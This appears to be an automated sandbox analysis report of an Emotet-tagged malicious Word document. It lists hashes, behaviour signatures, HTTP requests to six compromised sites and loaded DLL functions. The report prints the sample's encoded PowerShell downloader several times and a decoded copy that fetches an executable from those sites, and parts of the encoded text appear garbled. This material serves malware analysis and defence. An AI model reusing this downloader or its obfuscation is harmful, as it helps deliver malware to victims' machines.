

parts_service

Is DLL

Packer

Anti Debug

Anti VM

Signed

XOR

MalFamily: Emotet

MalScore: 100

File type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code pag

File size: 216.75 KB (221948 bytes)

Compile time: 0000-00-00 00:00:00

MD5: 80f78062c11932ae00aa14f7a96a12a9

SHA1: d953f5005efbd1be81c3c0a119428f098fb197fe

Submitted: 2020-11-19 11:00:09

URL(s) file hosting

http://childselect.com/cgi-bin/parts_service/

Antivirus Report

Report date	Detection Ratio	Permalink
No report available		

16

Behaviors detected by system signatures

Domain Sinkholed or blacklisted

- Alert: Honeypot blocked domain: aboveandbelow.com.au

Attempts to execute suspicious powershell command arguments

- command: powershell -e

JABQADMAZAA4ADQAbgBpAD0AKAAAnAFUAJwArACgAJwBmACcAKwAnADAAAbQB3ACcAKwAn
AHIAbAAAnACkAKQA7AC4AKAAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbg
BWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABIAG0AdAB5AHAA
ZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUA
BvAGkAbgB0AE0AYQBuAGEAZwBIAHIAxQA6ADoAlgBzAEUAQwBgAFUAcgpAGAAVABZAFAA
UgBPAFQATwBjAGAAbwBsACIAIAA9ACAkAAoACcAdABsAHMAMQAYACcAKwAnACwAIAAnAC

```
kAKwAnAHQAbAAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzA  
CcAKQA7ACQARQBsaHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJ  
wApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAAnAEYAcAAAnAC  
sAKAAAnAGUAcAAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgAnACwBkAGsAOA  
A9ACQAZQBuaHYAOQB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADA  
AfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIAIXQA5  
ADIAKQArACQARQBsaHYAOQBmAGcAZwArACgAKAAAnAC4AJwArACcAZQB4ACcAKQArACcAZ  
QAnACkAOwAkAFEAYwBkADkAbQB2ADkAPQAOACcAQQAnACsAKAAAnAGoAagAnACsAJwA3AH  
kAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBIA  
HcAJwArACcALQBvAGIAagBIAGMAdAAAnACkAIABuAGUAdAAuAHcARQBCAGMABpAGUAbgB  
0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAb  
wB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBIAGwAbwAnACkAKwAoAC  
cAdwAnACsAJwAuAGMABwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwAp  
ACsAKAAAnAGcAaQATAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAA  
nADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAK  
wAnAC8AJwApACsAKAAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcWBoAG8AJwApACsAJwB3AG  
UAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBIACcAKwAoACcAbgBzACcAKwAn  
AC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB  
3ACcAKwAoACcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAAnAHUAZAAAnACsAJw  
BIAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAAAnACsAJwB0AHQA  
JwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsAC  
cAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAAnAGEAYwBhACcAKwAnAGQAJwApACsAKA  
AnAGUAbQAnACsAJwB5AC4AbgBIACcAKwAnAHQAJwApACsAKAAAnAC8AdwAnACsAJwBwACcA  
KQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACc  
AKwAnAFYALwAqACcAKQArACcAaAAAnACsAJwB0ACcAKwAoACcAdAAAnACsAJwBwADoALwAnA  
CkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQ  
BsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAAnAG8AJwArACcAb  
gBpAGMAcWauACcAKwAnAGMABwAnACkAKwAnAG0ALwAnACsAKAAAnAGEAJwArACcAcwBzAG  
UAdAAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvA  
CcAKwAnACoAaAB0AHQAcAAAnACkAKwAnADoALwAnACsAKAAAnAC
```

```
- decoded_base64_string:  
$P3d84ni=('U'+('f'+ '0mw'+ 'rl'));.('new-i'+ 'tem')  
$ENV:tEmp\WOrd\2019\ -itemtype  
DIRECTORY:[Net.ServicePointManager]:"SEC`Uri`TYPROTOc`oI  
" = (('tIs12'+',')+ 'tl'+ 's1'+ ('1,'+ 't')+ 'ls');$Elv9fgg =  
(('Sks2'+ 'c')+ '1'+ '7');$Kl27x9v=('Fp'+ ('ep'+ 'p8')+ '3');$M6h7dk8  
=$env:temp+ ((' {0}wor'+ 'd {0}'+ '2'+ '019 {0}')  
- F[cHar]92)+ $Elv9fgg+ (('.'+ 'ex'+ 'e')+ 'e');$Qcd9mv9=('A'+ ('jj'+ '7yq'  
)+'b');$Vs6_vjv=&('n'+ 'ew'+ '-object')  
net.webclient;$Om69hi6= (('http:'+'//abovea'+ 'n'+ 'd'+ 'b'+ 'elo')+  
( 'w'+ '.co'+ 'm.a')+( 'u'+ '/c')+( 'gi-bi'+ 'n'+ '/Lb'+ 'i')+( '2'+ '0Tu/*htt  
p'+ 's')+( ':'+'/'+'/')+( 'am'+ 'a'+ 'csho')+'we'+ ('rscr'+ 'e')+'e'+ ('ns'+ '.'  
)+'c'+ ('om'+ '.')+'au'+ '/w'+ ('p-i'+ 'nc'+ 'l')+( 'ud'+ 'es/')+( 'K5/'+'*')  
( 'h'+ 'tt')+'p'+ ('/'+'a')+'t'+ 'hl'+ ('et'+ 'e')+( 'aca'+ 'd')+( 'em'+ 'y.  
ne'+ 't')+( '/w'+ 'p')+( '-'+'admi'+ 'n/VDD')+( 'l'+ 'V/'+'*')+'h'+ 't'+ ('t'+ 'p  
:')+( '/w'+ 'ww.j'+ 'a')+( 'yamel'+ 'e'+ 'c')+'t'+ 'r'+ ('o'+ 'nics.'+'co')+'  
'm'+ ('a'+ 'sset'+ 's/T')+'wg'+ 'd'+ 'l'+ ('/'+'*http')+':'+'/'+'int'+ 'el  
li')+( 'ge'+ 'nce.')+( 'c'+ 'om.s')+'g'+ 'r'+ ('e'+ 'gis')+( 'tr'+ 'ati')+( 'o  
'+'n/')+'JG'+ 'X'+ ('3l'+ '/*h')+'t'+ ('t'+ 'p:')+( '//s'+ 'o'+ 'rv')+( 'ete'+ '  
sbro')+'ti'+ ('nh'+ 'o.')+'co'+ 'm.'+'b'+ ('r'+ 'n'+ 'ovo/8ed'+ 'Jm/*htt  
p:'+'/'+'/')+'pr'+ ('in'+ 't')+( 'ed.'+'c')+( 'om.m'+ 'x/f')+'on'+ ('t'+ 's/  
E'+ '6a/'))."sP`LIT"([char]42);$X
```

Attempts to create or modify system certificates

A scripting utility was executed

```
- command: powershell -e  
JABQADMAZAA4ADQAbgBpAD0AKAAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAn  
AHIAbAAAnACkAKQA7AC4AKAAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAKAEUAbg  
BWADoAdABFAG0AcAbcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABIAG0AdAB5AHAA  
ZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUA  
BvAGkAbgB0AE0AYQBuaGEAZwBIAHIAIXQA6ADoAlgBzAEUAQwBgAFUAcgBpAGAAVABZAFAA  
UgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAMQAYACcAKwAnACwAIAAnAC
```

kAKwAnAHQAbAAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzA
CcAKQA7ACQARQBsaHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJ
wApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAAnAEYAcAAAnAC
sAKAAAnAGUAcAAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgANwBkAGsAOA
A9ACQAZQBuaHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADA
AfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIXQA5
ADIAKQArACQARQBsaHYAOQBmAGcAZwArACgAKAAAnAC4AJwArACcAZQB4ACcAKQArACcAZ
QAnACkAOwAkAFEAYwBkADkAbQB2ADkAPQAoACcAQQAAnACsAKAAAnAGoAagAnACsAJwA3AH
kAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBIA
HcAJwArACcALQBvAGIAagBIAGMAdAAAnACkAIABuAGUAdAAuAHcARQBCAGMABpAGUAbgB
0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAb
wB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBIAGwAbwAnACkAKwAoAC
cAdwAnACsAJwAuAGMABwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwAp
ACsAKAAAnAGcAaQATAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAA
nADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAK
wAnAC8AJwApACsAKAAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcWBoAG8AJwApACsAJwB3AG
UAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBIACcAKwAoACcAbgBzACcAKwAn
AC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB
3ACcAKwAoACcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAAnAHUAZAAnACsAJw
BIAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAAAnACsAJwB0AHQA
JwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsAC
cAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAAnAGEAYwBhACcAKwAnAGQAJwApACsAKA
AnAGUAbQAnACsAJwB5AC4AbgBIACcAKwAnAHQAJwApACsAKAAAnAC8AdwAnACsAJwBwACcA
KQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACc
AKwAnAFYALwAqACcAKQArACcAaAAAnACsAJwB0ACcAKwAoACcAdAAAnACsAJwBwADoALwAnA
CkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQ
BsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAAnAG8AJwArACcAb
gBpAGMAcWauACcAKwAnAGMABwAnACkAKwAnAG0ALwAnACsAKAAAnAGEAJwArACcAcwBzAG
UAdAAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvA
CcAKwAnACoAaAB0AHQAcAAAnACkAKwAnADoALwAnACsAKAAAnAC

The office file has 2 macros.

Performs some HTTP requests

- url: <http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/>
- url: <http://athleteacademy.net/wp-admin/VDDIV/>
- url: <http://www.jayamelectronics.com/assets/TwgdI/>
- url: <http://intelligence.com.sg/registration/JGX3I/>
- url: <http://sorvetesbrotinho.com.br/novo/8edJm/>
- url: <http://printed.com.mx/fonts/E6a/>

HTTP traffic contains suspicious features which may be indicative of malware related traffic

- get_no_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious_request: <http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/>
- suspicious_request: <http://athleteacademy.net/wp-admin/VDDIV/>
- suspicious_request: <http://www.jayamelectronics.com/assets/TwgdI/>
- suspicious_request: <http://intelligence.com.sg/registration/JGX3I/>
- suspicious_request: <http://sorvetesbrotinho.com.br/novo/8edJm/>
- suspicious_request: <http://printed.com.mx/fonts/E6a/>

Executed a very long command line or script command which may be indicative of chained commands or obfuscation

- command: powershell -e
JABQADMAZAA4ADQAbgBpAD0AKAAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAn
AHIAbAAAnACkAKQA7AC4AKAAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkaEUAbg
BWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABIAG0AdAB5AHAA
ZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUUAJ
BvAGkAbgB0AE0AYQBuaGEAZwBIAHIXQA6ADoAlgBzAEUAQwBgAFUAcgBpAGAaVABZAFAA
UgBPAFQATwBjAGAAbwBsACIAIAA9ACAkAAoACcAdABsAHMAMQAYACcAKwAnACwAIAAnAC
kAKwAnAHQAbAAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzA
CcAKQA7ACQARQBsaHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJ
wApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAAnAEYAcAAAnAC

sAKAAAnAGUAcAAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgANwBkAGsAOA
A9ACQAZQBwAHYA0gB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADA
AfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIXQA5
ADIAKQARACQARQBhAHYA0QBmAGcAZwArACgAKAAAnAC4AJwArACcAZQB4ACcAKQArACcAZ
QAnACkA0wAKAFEAYwBkADkAbQB2ADkAPQAoACcAQQAAnACsAKAAAnGoAagAnACsAJwA3AH
kAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBIA
HcAJwArACcALQBvAGIAagBIAGMAdAAAnACkAIABuAGUAdAAuAHcARQBCAGMABpAGUAbgB
0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAb
wB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBIAGwAbwAnACkAKwAoAC
cAdwAnACsAJwAuAGMABwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwAp
ACsAKAAAnAGcAaQAtAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAA
nADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAK
wAnAC8AJwApACsAKAAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcwBoAG8AJwApACsAJwB3AG
UAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBIACcAKwAoACcAbgBzACcAKwAn
AC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB
3ACcAKwAoACcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAAnAHUAZAAnACsAJw
BIAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAnACsAJwB0AHQA
JwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsAC
cAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAAnAGEAYwBhACcAKwAnAGQAJwApACsAKA
AnAGUAbQAnACsAJwB5AC4AbgBIACcAKwAnAHQAJwApACsAKAAAnAC8AdwAnACsAJwBwACcA
KQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACc
AKwAnAFYALwAqACcAKQArACcAaAnACsAJwB0ACcAKwAoACcAdAAAnACsAJwBwADoALwAnA
CkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQ
BsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAAnAG8AJwArACcAb
gBpAGMAcwAuACcAKwAnAGMABwAnACkAKwAnAG0ALwAnACsAKAAAnAGEAJwArACcAcwBzAG
UAdAAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvA
CcAKwAnACoAaAB0AHQAcAAAnACkAKwAnADoALwAnACsAKAAAnAC

A process created a hidden window

- Process: svchost.exe -> \\?\C:\Windows\system32\wbem\WMIADAP.EXE

At least one IP Address, Domain, or File Name was found in a crypto call

- ioc: trings.resources
- ioc: ecurity.dll
- ioc: http://go.microsoft.com/fwlink/
- ioc: 3.0.0.0
- ioc: 4.0.0.0
- ioc: inetsim.org0

Dynamic (imported) function loading detected

- DynamicLoader: VERSION.dll/GetFileVersionInfo
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeA
- DynamicLoader: VERSION.dll/VerQueryValueA
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/HeapSetInformation
- DynamicLoader: GKWord.dll/FValidateWordFile
- DynamicLoader: GKWord.dll/HrlnitHost
- DynamicLoader: kernel32.dll/SwitchToThread
- DynamicLoader: kernel32.dll/TryEnterCriticalSection
- DynamicLoader: kernel32.dll/SetCriticalSectionSpinCount
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/



- DynamicLoader: mso.dll/MsoFCreateControl
- DynamicLoader: mso.dll/MsoFLongLoad
- DynamicLoader: mso.dll/MsoFLongSave
- DynamicLoader: mso.dll/MsoFGetTooltips
- DynamicLoader: mso.dll/MsoFSetTooltips
- DynamicLoader: mso.dll/MsoFLoadToolbarSet
- DynamicLoader: mso.dll/MsoFCreateToolbarSet
- DynamicLoader: mso.dll/MsoInitShrGlobal
- DynamicLoader: mso.dll/MsoHpalOffice
- DynamicLoader: mso.dll/MsoFWndProcNeeded
- DynamicLoader: mso.dll/MsoFWndProc
- DynamicLoader: mso.dll/MsoFCreateITFCHwnd
- DynamicLoader: mso.dll/MsoDestroyITFC
- DynamicLoader: mso.dll/MsoFPitbsFromHwndAndMsg
- DynamicLoader: mso.dll/MsoFGetComponentManager
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: mso.dll/MsoWideCharToMultiByte
- DynamicLoader: mso.dll/MsoHrRegisterAll
- DynamicLoader: mso.dll/MsoFSetComponentManager
- DynamicLoader: mso.dll/MsoFCreateStdComponentManager
- DynamicLoader: mso.dll/MsoFHandledMessageNeeded
- DynamicLoader: mso.dll/MsoPeekMessage
- DynamicLoader: mso.dll/MsoGetWWWCmdInfo
- DynamicLoader: mso.dll/MsoFExecWWWHelp
- DynamicLoader: mso.dll/MsoFCreateIPref
- DynamicLoader: mso.dll/MsoDestroyIPref
- DynamicLoader: mso.dll/MsoChsFromLid
- DynamicLoader: mso.dll/MsoCpgFromChs
- DynamicLoader: mso.dll/MsoSetLocale
- DynamicLoader: mso.dll/MsoFSetHMsoinstOfSdm
- DynamicLoader: mso.dll/MsoVBADigSig2CallDlgEx
- DynamicLoader: mso.dll/MsoVbalnitSecurityEx
- DynamicLoader: OLEAUT32.dll/SysFreeString
- DynamicLoader: OLEAUT32.dll/LoadTypeLib
- DynamicLoader: OLEAUT32.dll/RegisterTypeLib
- DynamicLoader: OLEAUT32.dll/QueryPathOfRegTypeLib
- DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
- DynamicLoader: OLEAUT32.dll/OleTranslateColor
- DynamicLoader: OLEAUT32.dll/OleCreateFontIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePictureIndirect
- DynamicLoader: OLEAUT32.dll/OleLoadPicture
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrameIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrame
- DynamicLoader: OLEAUT32.dll/OleIconToCursor
- DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
- DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
- DynamicLoader: USER32.dll/GetSystemMetrics
- DynamicLoader: USER32.dll/MonitorFromWindow
- DynamicLoader: USER32.dll/MonitorFromRect
- DynamicLoader: USER32.dll/MonitorFromPoint
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
- DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
- DynamicLoader: OLEAUT32.dll/SafeArraySetIID
- DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
- DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
- DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
- DynamicLoader: OLEAUT32.dll/VarFormat



- DynamicLoader: OLEAUT32.dll/VarFormatDateTime
- DynamicLoader: OLEAUT32.dll/VarFormatNumber
- DynamicLoader: OLEAUT32.dll/VarFormatPercent
- DynamicLoader: OLEAUT32.dll/VarFormatCurrency
- DynamicLoader: OLEAUT32.dll/VarWeekdayName
- DynamicLoader: OLEAUT32.dll/VarMonthName
- DynamicLoader: OLEAUT32.dll/VarAdd
- DynamicLoader: OLEAUT32.dll/VarAnd
- DynamicLoader: OLEAUT32.dll/VarCat
- DynamicLoader: OLEAUT32.dll/VarDiv
- DynamicLoader: OLEAUT32.dll/VarEqv
- DynamicLoader: OLEAUT32.dll/VarIdiv
- DynamicLoader: OLEAUT32.dll/VarImp
- DynamicLoader: OLEAUT32.dll/VarMod
- DynamicLoader: OLEAUT32.dll/VarMul
- DynamicLoader: OLEAUT32.dll/VarOr
- DynamicLoader: OLEAUT32.dll/VarPow
- DynamicLoader: OLEAUT32.dll/VarSub
- DynamicLoader: OLEAUT32.dll/VarXor
- DynamicLoader: OLEAUT32.dll/VarAbs
- DynamicLoader: OLEAUT32.dll/VarFix
- DynamicLoader: OLEAUT32.dll/VarInt
- DynamicLoader: OLEAUT32.dll/VarNeg
- DynamicLoader: OLEAUT32.dll/VarNot
- DynamicLoader: OLEAUT32.dll/VarRound
- DynamicLoader: OLEAUT32.dll/VarCmp
- DynamicLoader: OLEAUT32.dll/VarDecAdd
- DynamicLoader: OLEAUT32.dll/VarDecCmp
- DynamicLoader: OLEAUT32.dll/VarBstrCat
- DynamicLoader: OLEAUT32.dll/VarCyMull4
- DynamicLoader: OLEAUT32.dll/VarCyMul
- DynamicLoader: OLEAUT32.dll/VarCyInt
- DynamicLoader: OLEAUT32.dll/VarCyFix
- DynamicLoader: OLEAUT32.dll/VarBstrCmp
- DynamicLoader: ole32.dll/CoCreateInstanceEx
- DynamicLoader: ole32.dll/CLSIDFromProgIDEx
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: ADVAPI32.dll/RegEnumKeyW
- DynamicLoader: SXS.DLL/SxsOleAut32MapConfiguredClsidToReferenceClsid
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/RegisterTypeLibForUser
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/ImageList_Destroy
- DynamicLoader: Comctl32.dll/ImageList_GetIconSize
- DynamicLoader: Comctl32.dll/InitCommonControls
- DynamicLoader: Comctl32.dll/ImageList_LoadImageA
- DynamicLoader: Comctl32.dll/ImageList_SetOverlayImage
- DynamicLoader: Comctl32.dll/ImageList_AddMasked
- DynamicLoader: Comctl32.dll/ImageList_GetImageInfo
- DynamicLoader: Comctl32.dll/ImageList_Draw
- DynamicLoader: Comctl32.dll/ImageList_DrawEx
- DynamicLoader: Comctl32.dll/PropertySheetA
- DynamicLoader: Comctl32.dll/DestroyPropertySheetPage
- DynamicLoader: Comctl32.dll/CreatePropertySheetPageA
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/OpenThemeData
- DynamicLoader: uxtheme.dll/GetThemeColor
- DynamicLoader: uxtheme.dll/IsThemePartDefined
- DynamicLoader: uxtheme.dll/GetThemeBool



- DynamicLoader: kernel32.dll/LoadLibraryW
- DynamicLoader: GdiPlus.dll/GdiplusStartup
- DynamicLoader: USER32.dll/GetWindowInfo
- DynamicLoader: USER32.dll/GetAncestor
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: GDI32.dll/ExtTextOutW
- DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
- DynamicLoader: GdiPlus.dll/GdipCreatePath
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipAddPathRectangle
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreatePen1
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeletePen
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateSolidFill
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetSolidFillColor
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetPointCount
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipClonePath
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateFromHDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetPageUnit
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetVisibleClipBoundsI
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetMatrixElements
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetSmoothingMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetTextRenderingHint
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetInterpolationMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetPixelOffsetMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetSmoothingMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetInterpolationMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipResetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetClip
- DynamicLoader: mso.dll/



- DynamicLoader: GdiPlus.dll/GdipDeleteMatrix
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRectl
- DynamicLoader: mso.dll/
- DynamicLoader: USP10.DLL/ScriptItemize
